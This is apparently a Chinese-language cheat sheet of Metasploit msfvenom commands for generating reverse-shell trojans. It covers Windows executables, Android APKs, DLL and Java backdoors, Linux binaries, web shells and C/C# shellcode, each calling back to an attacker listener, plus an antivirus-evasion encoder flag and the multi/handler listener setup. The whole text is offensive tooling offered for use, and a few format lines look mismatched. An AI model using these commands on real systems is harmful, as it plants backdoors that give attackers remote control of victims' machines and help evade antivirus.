metasploit 生成木马常用命令
生成反弹木马:
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe > abc.exe //exe文件
-
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > apk.apk //安卓
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -a x86 -f dll > shell.dll // DLL后门
-
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 W > text.jar //Java后门
-
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 R >> /root/Desktop/test //linux 后门 需要把test加权限 chmod +x ./test
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f raw > shell.py //python
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f raw > shell.php //PHP
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f asp > shell.asp //asp
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f aspx > shell.aspx //aspx
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f c > shellcode.c //生成C语言shellcode
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f csharp > shellcode.txt //生成C#语言shellcode
如果要使用编码免杀加上参数 -e x86/shikata_ga_nai
监听利用模块:
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
exploit